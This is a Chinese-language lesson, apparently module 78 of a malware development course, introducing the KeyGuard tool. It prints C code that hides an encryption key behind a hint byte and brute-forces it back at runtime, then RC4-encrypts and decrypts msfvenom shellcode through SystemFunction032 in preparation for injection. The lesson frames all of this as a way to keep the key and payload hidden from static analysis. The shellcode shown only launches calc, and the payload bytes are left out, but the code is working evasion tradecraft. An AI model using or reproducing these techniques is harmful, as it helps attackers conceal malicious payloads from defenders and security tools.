模块 78 - MalDev Academy 工具 - KeyGuard
恶意软件开发课程 - MalDev Academy 工具 - KeyGuard
模块 78 - MalDev Academy 工具 - KeyGuard#
MalDev Academy 工具 - KeyGuard#
简介#
本模块介绍一款由 MalDev Academy 开发的工具:KeyGuard。该工具能自动生成加密密钥,对其进行二重加密逻辑处理,并直接输出在运行时进行暴力破解还原所需的 C 语言源代码。
💡 初学者提示:为什么要使用自动化工具?
类比理解: 在上一个模块中,我们手动编写了爆破还原密钥的代码。虽然这很有成就感,但在实际开发中,如果你有 10 个 Payload 需要不同的密钥,手动生成、加密再写代码会非常低效且容易出错。
- KeyGuard 就像是一个高级加工厂:你告诉它你需要多大的锁(密钥大小),它不仅帮你把锁造出来,连配套的“万能钥匙”(爆破函数)和“如何开锁”的说明书(C 源代码)都一键配齐了。你只需要“复制+粘贴”即可。
1. 使用方法#
该工具使用非常简单,仅需要输入所需的密钥大小(以字节为单位)。
##########################################################
# KeyGuard - Designed By MalDevAcademy @NUL0x4C | @mrd0x #
##########################################################
[!] 需要输入密钥大小 (Key Size) 才能运行text2. 使用示例#
.\KeyGuard.exe 32- 生成一个 32 字节的加密密钥,并附带用于运行时解密的爆破函数。.\KeyGuard.exe 16- 生成一个 16 字节的加密密钥,并附带用于运行时解密的爆破函数。
3. KeyGuard 演示#
下图展示了使用 KeyGuard 生成 32 字节受保护密钥的过程:

完整的输出内容示例如下:
/*
[i] 输入密钥大小 : 32
[+] 使用 "0x88" 作为提示字节 (Hint Byte)
[+] 请使用以下密钥进行 [加密阶段]
unsigned char OriginalKey[] = {
0x88, 0xAE, 0x23, 0xCD, 0x24, 0xD0, 0xA5, 0xC9, 0xE7, 0x9C, 0x3C, 0x53, 0x9B, 0xCE, 0x01, 0x30,
0xBC, 0x7A, 0x0A, 0x2F, 0xB3, 0xFE, 0x8E, 0xBA, 0x0F, 0x34, 0x49, 0xAB, 0x12, 0xEC, 0x22, 0x61 };
[+] 请将以下内容放入 [代码实现]
unsigned char ProtectedKey[] = {
0xD1, 0xF6, 0x7C, 0x89, 0x71, 0x8C, 0xF2, 0x89, 0xB6, 0xFC, 0x1F, 0x07, 0xFE, 0x82, 0x56, 0x66,
0x95, 0xD2, 0x45, 0x1B, 0x9E, 0x4A, 0xFD, 0x88, 0x7E, 0x14, 0x3A, 0x9F, 0x77, 0x50, 0x19, 0xD9 };
-------------------------------------------------
*/
#include <Windows.h>
#define HINT_BYTE 0x88
unsigned char ProtectedKey[] = {
0xD1, 0xF6, 0x7C, 0x89, 0x71, 0x8C, 0xF2, 0x89, 0xB6, 0xFC, 0x1F, 0x07, 0xFE, 0x82, 0x56, 0x66,
0x95, 0xD2, 0x45, 0x1B, 0x9E, 0x4A, 0xFD, 0x88, 0x7E, 0x14, 0x3A, 0x9F, 0x77, 0x50, 0x19, 0xD9 };
// 由工具生成的爆破函数
BYTE BruteForceDecryption(IN BYTE HintByte, IN PBYTE pProtectedKey, IN SIZE_T sKey, OUT PBYTE* ppRealKey) {
BYTE b = 0;
INT i = 0;
PBYTE pRealKey = (PBYTE)malloc(sKey);
if (!pRealKey)
return NULL;
while (1){
// 自动生成的爆破匹配逻辑
if (((pProtectedKey[0] ^ b)) == HintByte)
break;
else
b++;
}
for (int i = 0; i < sKey; i++){
pRealKey[i] = (BYTE)((pProtectedKey[i] ^ b) - i);
}
*ppRealKey = pRealKey;
return b;
}
// 调用示例:
// PBYTE pRealKey = NULL;
// BruteForceDecryption(HINT_BYTE, ProtectedKey, sizeof(ProtectedKey), &pRealKey);c4. 实战示例:RC4 加密#
在加密阶段,我们需要使用 KeyGuard 输出的 OriginalKey(明文密钥)。
unsigned char OriginalKey[] = {
0x88, 0xAE, 0x23, 0xCD, 0x24, 0xD0, 0xA5, 0xC9, 0xE7, 0x9C, 0x3C, 0x53, 0x9B, 0xCE, 0x01, 0x30,
0xBC, 0x7A, 0x0A, 0x2F, 0xB3, 0xFE, 0x8E, 0xBA, 0x0F, 0x34, 0x49, 0xAB, 0x12, 0xEC, 0x22, 0x61 };c我们将使用 SystemFunction032 接口对 Msfvenom 生成的 calc.exe shellcode 进行 RC4 加密。
#include <Windows.h>
#include <stdio.h>
// 待加密的 Payload (x64 calc)
unsigned char Payload[] = { /* ... 字节内容 ... */ };
// USTRING 结构定义,用于 SystemFunction032
typedef struct {
DWORD Length;
DWORD MaximumLength;
PVOID Buffer;
} USTRING;
typedef NTSTATUS(NTAPI* fnSystemFunction032)(struct USTRING* Data, struct USTRING* Key);
// RC4 加密封装函数
BOOL Rc4EncryptionViSystemFunc032(IN PBYTE pRc4Key, IN PBYTE pPayloadData, IN DWORD dwRc4KeySize, IN DWORD sPayloadSize) {
NTSTATUS STATUS = NULL;
USTRING Key = { .Buffer = pRc4Key, .Length = dwRc4KeySize, .MaximumLength = dwRc4KeySize },
Data = { .Buffer = pPayloadData, .Length = sPayloadSize, .MaximumLength = sPayloadSize };
fnSystemFunction032 SystemFunction032 = (fnSystemFunction032)GetProcAddress(LoadLibraryA("Advapi32"), "SystemFunction032");
if ((STATUS = SystemFunction032(&Data, &Key)) != 0x0) {
printf("[!] SystemFunction032 失败,错误码: 0x%0.8X \n", STATUS);
return FALSE;
}
return TRUE;
}
// 演示:使用明文密钥进行初始加密
int main() {
if (!Rc4EncryptionViSystemFunc032(OriginalKey, Payload, sizeof(OriginalKey), sizeof(Payload))) {
return -1;
}
// 此时 Payload 数组已被原地加密
PrintHexData("Rc4EncryptedPayload", Payload, sizeof(Payload));
return 0;
}c5. 实战示例:RC4 解密 (带密钥爆破)#
核心实现逻辑:程序中只存放 ProtectedKey,在执行注入前,先通过 BruteForceDecryption 还原出真正的密钥,然后再解密 Payload。
#include <Windows.h>
#include <stdio.h>
// 被加密后的 Payload (从加密脚本输出中获取)
unsigned char Rc4EncryptedPayload[] = { /* ... 加密后的字节内容 ... */ };
// 1. 使用 KeyGuard 提供的提示字节和加密密钥
#define HINT_BYTE 0x88
unsigned char ProtectedKey[] = { /* ... KeyGuard 输出的 ProtectedKey ... */ };
// 2. 运行时爆破还原密钥
BYTE BruteForceDecryption(IN BYTE HintByte, IN PBYTE pProtectedKey, IN SIZE_T sKey, OUT PBYTE* ppRealKey) {
BYTE b = 0;
PBYTE pRealKey = (PBYTE)malloc(sKey);
if (!pRealKey) return NULL;
while (1) {
// 利用 HINT_BYTE 寻找保护因子 b
if (((pProtectedKey[0] ^ b)) == HintByte)
break;
else
b++;
}
// 还原主密钥
for (int i = 0; i < sKey; i++) {
pRealKey[i] = (BYTE)((pProtectedKey[i] ^ b) - i);
}
*ppRealKey = pRealKey;
return b;
}
int main() {
PBYTE pRealKey = NULL;
// A: 爆破还原真实密钥
if (!BruteForceDecryption(HINT_BYTE, ProtectedKey, sizeof(ProtectedKey), &pRealKey)) {
return -1;
}
// B: 使用还原出的 pRealKey 解密真正的 Payload
if (!Rc4EncryptionViSystemFunc032(pRealKey, Rc4EncryptedPayload, sizeof(ProtectedKey), sizeof(Rc4EncryptedPayload))) {
return -1;
}
// C: 此时 Rc4EncryptedPayload 已恢复为原始 Shellcode,可以进行注入
printf("[+] Payload 解密成功!\n");
// ... 后续注入逻辑 ...
return 0;
}c6. 实验结论#
通过 KeyGuard 工具,我们实现了“源码级”的密钥保护。静态分析人员即使查看到 ProtectedKey 数组,也无法简单地将其用于 Payload 的解密。由于密钥爆破逻辑非常快(至多 255 次循环),这种方法在防御增强的同时几乎不影响程序的运行性能。
🎯 总结#
在本模块中,我们掌握了:
- 自动化加固: 学习了如何使用 KeyGuard 工具快速生成受保护的密钥逻辑。
- 真假密钥分离: 理解了
OriginalKey(离线加密用)与ProtectedKey(在线存放用)的区别。 - 链路集成: 完成了从密钥保护、爆破还原到最终 RC4 Payload 解密的完整工程化链路。
📚 下一步学习
下一个模块将探讨 Module 79 - CRT Library Removal & Malware Compiling。我们将学习如何精简二进制文件体积,彻底移除 C 运行时库。